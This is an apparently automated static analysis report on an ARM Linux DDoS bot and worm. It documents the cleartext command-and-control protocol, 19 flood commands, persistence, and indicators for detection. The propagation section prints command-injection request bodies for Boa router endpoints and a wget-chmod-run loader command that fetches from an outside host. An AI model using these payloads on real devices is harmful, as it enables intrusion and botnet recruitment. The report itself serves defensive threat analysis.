Honeypot capture

Arm ELF 32-bit LSB executable ddos-bot (365e22a1c1a7)

C2 verifiedProtocol documented

The sample is a stripped, statically linked 32-bit ARM Linux ELF, written in Go and captured by a honeypot sensor network, and it talks to its operator in plain text. Static recovery pulled 2 command-and-control endpoints and 19 plaintext command keywords out of it, and both endpoints name a single host, 185[.]226[.]93[.]242, reached over raw TCP on tcp/9111, a non-standard port for any registered service. The file is 5898424 bytes, SHA-256 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582, and the hashes let a reader pivot to the same sample in other repositories and sandboxes.

The pipeline loaded the sample as data and never executed it, and it contacted or resolved none of the recovered endpoints. The findings list several items as open: the exact semantics of STATS fields 1, 3 and 4, the internals of the 19 flood routines beyond their entry address, dispatch keyword and transport, which the report records as out of scope, and the content of the config.dat the bot fetches from each scanned device at runtime.

The binary builds for arm and armv7, which the findings read as a campaign aimed at routers, cameras and other embedded devices that are rarely patched, rarely monitored and permanently online. The sample carries a worm stage to match. A worm spreads on its own, copying itself to further machines with no user action, across a network, removable media or exposed services. The classification here is a DDoS bot with a propagation and scanning stage, at confidence 0.88. The Go module path is Botnet, the author’s own module name, so the family field is left null.

The correlation phase records the host 185[.]226[.]93[.]242 in 9 other analysed captures. Because the same command-and-control host appears across those separate captures, the findings conclude that the captures belong to one operator’s infrastructure and that this sample is part of a wider campaign.

The cleartext control channel

The findings define command and control as the channel an infected machine uses to reach its operator for instructions. In this sample the dial target is a pair of hardcoded string literals. The host and port are string headers in the config struct at 0x0059b120, concatenated at runtime and handed straight to net.Dial:

binja @ 0x0059b120   -> host string header: ptr=0x3dca68 len=14; port string header: ptr=0x360573 len=4
binja @ 0x003dca68   '185.226.93.242'
binja @ 0x00360573   '9111'
binja @ 0x0026c4b8   ':'
                     0x26c4b8  bl      0x7fa94     ; runtime.concatstring3(host, ":", port)
binja @ 0x0026c4dc   'tcp'
                     0x26c4cc  mov     r2, #0x3    ; len("tcp")
                     0x26c4dc  bl      0x164578    ; net.Dial("tcp", "185.226.93.242:9111")

A loader must carry its addresses in a resolvable form, so the config_struct extractor can read both addresses out of the raw file with no decompiler. The 2 addresses are named in the sample’s own strings and code. A second, independent decompiler backend resolved the same 2 addresses — the tcp/9111 control channel and the tcp/80 loader fetch — and that agreement raises confidence they are real.

Each side sends one \n-terminated message, the bot separating its fields with | and the operator with whitespace, and neither side transforms the bytes (0x0026c6bc). The obfuscation field in the recovered profile reads none, and that reading was agreed by the second backend. The wire-format document records 2 message types, and 4 test vectors replay through the recovered dissector. The pipeline treats those 4 passing vectors as evidence that the dissector can decode live traffic.

The bot’s own message is a 2-second beacon, STATS|[n]|[cpu_pct]|[mem_a]|[mem_b]|arm\n: CPU utilisation sampled from /proc/stat over a 200 ms window, memory figures parsed from /proc/meminfo (MemTotal/MemFree/Buffers/Cached), and the architecture tag arm as a hardcoded string. c2_client.py reproduces fields 1, 3 and 4 as plausible integers, because field 1’s runtime global at 0x005ac9a4 and the (used, total) pairing of main.getMemInfo’s 2 int64 returns were not traced through the arithmetic. On the wire the fields are free-form decimal integers and the server parses nothing, so interception, bot emulation and server emulation all work. The findings note that a defender comparing a captured STATS line against c2_client.py output should not expect field-for-field equality in those three integers.

The bot dials, sleeps 5 seconds and redials on failure, then runs 2 concurrent goroutines, the beacon writer and the command reader. A 120-second time.AfterFunc at 0x0026c58c closes the socket, which makes the bot reconnect. The findings describe this timer as a limit on the lifetime of a single connection, and they record that it is not a kill switch.

The 19-arm command dispatcher

The command reader scans a line, splits it with strings.Fields, and dispatches on the first token into 19 arms, each of which launches a flood goroutine from Botnet/Methods. Methods that take 4 fields parse keyword target port duration; those that take 3 drop the port. Of the 19 arms, 9 are volumetric — hex, ntp, ovh, pps, ppsraw, std, udp, game, ping, with ntp doing reflection and amplification through IP_HDRINCL raw sockets — and 10 are layer-7 resource exhaustion: tcp, tls, tlsplus, tlsplusbypass, browser (HTTP/2 with User-Agent and Referer pools), cloudflare, handshake, priv7, fort, voult.

The pipeline classified the sample from the recovered code. The sample links those 19 flood handlers and a self-contained propagation chain, and the commands that chain executes run on the exploited devices. The binary carries no file exfiltration, no interactive shell and no process-spawning primitive, and the findings cite that absence as the reason they ruled out the rat, backdoor and stealer labels.

Table 1: recovered capabilities with their ATT&CK mapping, evidence offset and consensus status ATT&CK technique, the file offset the behaviour was evidenced at, and the pipeline’s confidence. Rows marked ✅ were re-resolved by a second decompiler backend in the consensus round; ⚠️ rows are anchored to the listed offset but were not submitted to that round, so they carry single-tool support.

CapabilityATT&CKOffsetConfidenceConsensus
Cleartext command channel, non-standard portT15710x0026c4dc0.95✅
Network denial of service (9 volumetric methods)T14980x002633880.90✅
Endpoint denial of service (10 layer-7 methods)T14990x0025d4b40.90✅
Host fingerprint for the STATS beaconT10820x0026f74c0.90⚠️
Masquerade as sysdT10360x0026eef00.90⚠️
Loader URL and victim-side fetch commandT11050x0026fe440.90⚠️
Command injection on Boa devicesT1059.0040x002728f00.88⚠️
RC-script autostart—0x0026f1e80.90⚠️
Random-host propagation scanner—0x0026ffec0.90⚠️
Device config and credential leak (MBC C0031)—0x002709180.85⚠️

The profile records no technique ID for 3 of these rows. For the RC-script autostart behaviour it states that no confident ATT&CK ID applies because the behaviour is not present in this harness’s offline technique table. For the random-host scanner and the config-leak primitive it records only that no confident ID was assigned.

The privilege requirements split across these capabilities. The sample needs root for the raw-socket methods used by ntp, ppsraw and ping and for the /etc and /usr/bin persistence writes, while the control channel, the scanner and the TCP, UDP and layer-7 floods run without it.

The 19 keywords also bound what a fake controller can do. The analysis did not recover any operator vocabulary beyond these 19 keywords, and this sample silently discards any extra keyword a live controller sends, so c2_emulator.py can issue only these 19 keywords as tasking. The internals of the handlers past their entry address, dispatch keyword and transport were left untraced.

The propagation chain

main.main launches the spreader before it dials out — go StartScanner(host) at 0x0026c414. The goroutine then loops forever: generate a random IPv4 (main.generateRandomIP at 0x00270050, with main.isPrivateIP at 0x002701a8 excluding private ranges), call main.exploitDevice, sleep 100 ms.

The bot sends each candidate a GET / HTTP/1.1 carrying User-Agent: Hello World and keeps the candidate if the response header reads Server: Boa. It then fetches config.dat from the device, LZSS-decompresses it with main.Decode at 0x002702a4, and harvests credentials from the result, authenticating with POST /boafrm/formLogin (username=[u]&password=[p]&login_btn=Login, or a JSON setting/setUserLogin variant carrying a CAPTCHA checkcode). The scan traffic carries 2 User-Agents. The bot sends the fixed, non-browser Hello World, which the findings call a strong network signature, on the fingerprint, config.dat and command requests, and it sends a Windows Chrome 109 string, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36, on the login requests, from an ARM Linux device. The contents of config.dat arrive at runtime from each victim, so the credential format that main.getCredLeak (0x002708ac) and main.getAdminCredLeak (0x00270e80) parse stays outside this file.

The bot runs its payload on the device by posting to /boafrm/formSysCmd with the body sysCmdType=ping&sysCmd=-c+4%3B[payload]&apply=Apply&submit-url=%2Fsyscmd.htm&msg=, where the URL-encoded ; after the ping arguments chains the loader command. A second variant posts submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=[payload]. The injected payload is 3 commands, wget [url] -O bins.sh; chmod +x bins.sh; ./bins.sh, pulling hxxp[://]185[.]226[.]93[.]242/bins.sh. The findings define a loader as a first-stage program that fetches and starts the real payload. Per the analysis scope, no CVE is attributed to /boafrm/formSysCmd.

Self-install and persistence

On the infecting host itself the bot installs as sysd, a filename chosen to resemble a systemd component. It probes /usr/bin/, /data/local/tmp/, /tmp/ and /var/run/ in that order by creating a zero-length test_write file and os.Remove()ing it, copies itself into the first writable directory, and falls back to ./sysd. For persistence the bot appends \n[install_path] &\n to /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc and one further path, redacted in the bundle, which the findings record as a hardcoded literal that is not expanded per user, opening each file with os.OpenFile under flags 0x401 (O_WRONLY|O_APPEND) and mode 0644. A check for the substring sysd guards the append, so a second run does not write the line twice. These host indicator rows were likewise not submitted to the consensus round.

Static-only analysis

The pipeline pulled strings and structure with strings and rabin2, anchored every indicator to a file offset, corroborated each one across both tools, and disassembled and decompiled the executable sections headless. The packer phase recorded the sample as not packed. Across phases 1 through 8 the pipeline looked for packing, ptrace and debugger checks, VM and sandbox strings, timing checks and string or control-flow obfuscation, and recorded none of them, so the anti-analysis set is empty. Binary Ninja does not apply this binary’s .gopclntab, and FLOSS, capa and objdump -d produced nothing for this sample. The findings attribute the empty output of FLOSS, capa and objdump -d to those three tools having no ARM32 support here.

Indicators beyond the recovered profile

A byte sweep found 24 network indicators beyond the curated profile. Among them, 6 routable addresses stand as unconfirmed leads: 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0, 120[.]0[.]0[.]0 and 2[.]5[.]4[.]102. The sweep also turned up 1[.]1[.]1[.]1. The findings class that address as a well-known placeholder of the kind malware commonly carries as a candidate scan or flood target, and record it as not confirmed C2.

Detection and blocking

Because the channel is plaintext, one captured line yields the flood method, the victim being attacked, the port and the duration, and no key is needed. The beacon is a fixed 6-field line ending in arm and does not contain the C2 address, so a rule keyed on the STATS line keeps matching if the operator moves to different hosts. The findings list outbound tcp/9111 and tcp/80 to 185[.]226[.]93[.]242 among the sample’s network requirements, with outbound tcp/80 to random IPv4 addresses for the scanner.

A host running this sample is both an attack source and a scanner of the wider internet. The findings recommend treating any device that beaconed as compromised and as having scanned and attacked third parties. On the network they recommend hunting for outbound User-Agent: Hello World HTTP traffic and POST /boafrm/formSysCmd requests, and on the host for the sysd files and the appended rc-file lines.

The bundled artifacts

The bundle ships the recovered profile as c2_profile.json, the indicator rows as iocs.csv, the blocklist as blocklist.txt and the wire-format document as protocol_spec.md, alongside the per-phase JSON for static enrichment, deep static, correlation, emulation, packer, config, YARA and consensus. The dissector, bot client and C2 emulator are the reproduction/ tools:

The reproduction/ tools are live-C2 code. They only touch the network when explicitly pointed at a --target/--listen. Run them only in an isolated lane.

Whether the C2 host still answers

The pipeline did not check which addresses 185[.]226[.]93[.]242 currently resolves to, or whether it still answers on tcp/9111, because it never contacted or resolved any recovered endpoint. The findings leave open what runtime timing, retry and post-execution behaviour the sample shows.

Family
unclassified
First seen
November 11, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
5760 KB arm ELF 32-bit LSB executable
VirusTotal
Not on VirusTotal
Tags
arm · ddos-bot · elf · raw_tcp · scanner · worm
Sample
By request. Email [email protected]

SHA-256

  • 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures